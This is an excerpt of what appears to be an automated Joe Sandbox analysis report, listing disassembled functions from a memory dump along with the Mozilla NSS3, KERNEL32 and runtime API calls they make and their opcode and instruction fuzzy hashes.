Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction ID: 1be4a305a51174723a6a6b9320aeef6d6943676756e98749c0bce4803bf0d159
Opcode Fuzzy Hash: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction Fuzzy Hash: CBA1C071B041049BEB09EF65ED98BAE3771BB8B315F28013DD41B47B40DB3AA845DB86

Function 6C671E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C671ECC

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

TlsGetValue.KERNEL32 ref: 6C671EDF
EnterCriticalSection.KERNEL32(?), ref: 6C671EEF
PR_ExitMonitor.NSS3(?), ref: 6C671F37
PR_Unlock.NSS3(?), ref: 6C671F44

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction ID: baa2013d6119d48b91dfd681aa8cf36bf272b051ce71a4a96a969605ffefa8d8
Opcode Fuzzy Hash: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction Fuzzy Hash: 5771CFB19043019FD720CF25D840A5BB7F5FF89358F14492AE8A993B20E731F959CBA6

Function 6C6FDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6FDE77

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction ID: 0be859b1f8e24fc8667292f647e75161ffc1a682335b1ad90b00df2dab8eadbf
Opcode Fuzzy Hash: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction Fuzzy Hash: 23716571A01319CFDB10CF9AC580A8AB7B6BF49718F25816DD9696B742D730B902CF94

Function 6C5F6D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6C5E3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3C66
Part of subcall function 6C5E3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5E3D04

memcpy.VCRUNTIME140(?,?,?), ref: 6C5F6DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F6DE5

Part of subcall function 6C5F8010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F807D
Part of subcall function 6C5F8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F80D1
Part of subcall function 6C5F8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F810E
Part of subcall function 6C5F8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F8140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6C5F6E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5F6E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F6EC2

Part of subcall function 6C5F7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E27
Part of subcall function 6C5F7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E67

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: 04b48f855a44b2c123d27a1a534bced437fcab2df5d6d7b43ce351f294d3b04d
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: FE517C719083519FD725CF25C850B6ABBE5BF88318F048A5DE8A987B41E730E919CF92

Function 6C66DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32(?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E029
PK11_IsLoggedIn.NSS3 ref: 6C66E046

Part of subcall function 6C678F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
Part of subcall function 6C678F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

PR_Unlock.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E149

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction ID: 18c7d8798a20d172c70a0f185cc4dae8b22bb4d0f324da3bf169ed16ee5eeb3a
Opcode Fuzzy Hash: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction Fuzzy Hash: 4E515870600611CFDB10DF2AC98476ABBF1BF49308F15896DD8998BB51E731E885CBDA

Function 6C67BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C67BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C659F71,?,?,00000000), ref: 6C67BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C67C014

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction ID: 19848bddc68823ba682d0d8ed3f49796023947e938930408a06913af4e5852ee
Opcode Fuzzy Hash: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction Fuzzy Hash: 4A41F671A012059BEB20CE76CC44BEA73B9AF85708F504928D919D7B41FB35E845CBF9

Function 6C64EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C64EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C64EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64EEEB
free.MOZGLUE(?), ref: 6C64EEF6

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction ID: 28afcd085743d4c76425754edaca64e5968d53c7264d63d4820634be28509644
Opcode Fuzzy Hash: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction Fuzzy Hash: 6A310471A00201ABE720DF29CC44FA6BBF4FB46345F14C538E85A87A51EB31E815CBE9

Function 6C661F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C661F1C

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C779EBC), ref: 6C661FB8
SEC_ASN1EncodeItem_Util.NSS3(6C779E9C,?,?,6C779E9C), ref: 6C66200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C662020

Part of subcall function 6C656A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AD50,?,?), ref: 6C656A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C662030

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction ID: bfab6205923e9a93b8613e8963bfc35920eedc174a037c7a8ea97f5634eaceb6
Opcode Fuzzy Hash: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction Fuzzy Hash: ED212BB5902505BBEB114A16DD40FAA77A8FF5231CF140214E82896F80E771E528C7AF

Function 6C651DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651EAD

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction ID: c33e71caaa298f7da98787a6f5917035e6ea9d60cc3ef3ccefed14ae98303270
Opcode Fuzzy Hash: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction Fuzzy Hash: BC213772F08315ABD7008F68DC40B8FB395DB85328FA44638ED6957780E730D92A87DA

Function 6C761E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C761E5C

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

PR_Lock.NSS3(00000000), ref: 6C761E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761EAB
PR_GetCurrentThread.NSS3 ref: 6C761ED0
PR_Unlock.NSS3(?), ref: 6C761EE8

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction ID: ae06f6bdf573e29cacf09c90b6e8f763d18a3764e1945c8a43a8bc85d5210ab7
Opcode Fuzzy Hash: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction Fuzzy Hash: 7D21D074A04512AFD710CF2ADA48A06B7B9FF44719B298229DC158BF41D730FC11CBD5

Function 6C6ABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?,?), ref: 6C6ABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEEB

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e879e8b055f98f205cf9e96e81b5dbdfc012a60c71f18fa40ce77fd96c3f1104
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F8112276A0434977E70089E5AC80F5B77ADABC5798F084035FE0482A52F731DC0687EE

Function 6C65AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADA7

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADB4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C653FFF,?,?,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000), ref: 6C65ADD5

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7794B0,?,?,?,?,?,?,?,?,6C653FFF,00000000,?), ref: 6C65ADEC

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C653FFF), ref: 6C65AE3C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction ID: 27ed6569a04d92954165ae014cd61dd11bdc312eeb750d1a6e9b737d0e3b2ae4
Opcode Fuzzy Hash: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction Fuzzy Hash: 06113B71E002096BE7109B659C40BBF77F8DF9624CF544228EC1596742FB20E96983FE

Function 6C668FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C670710), ref: 6C668FF1
PR_CallOnce.NSS3(6C7B2158,6C669150,00000000,?,?,?,6C669138,?,6C670710), ref: 6C669029
calloc.MOZGLUE(00000001,00000000,?,?,6C670710), ref: 6C66904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C670710), ref: 6C669066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C670710), ref: 6C669078

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
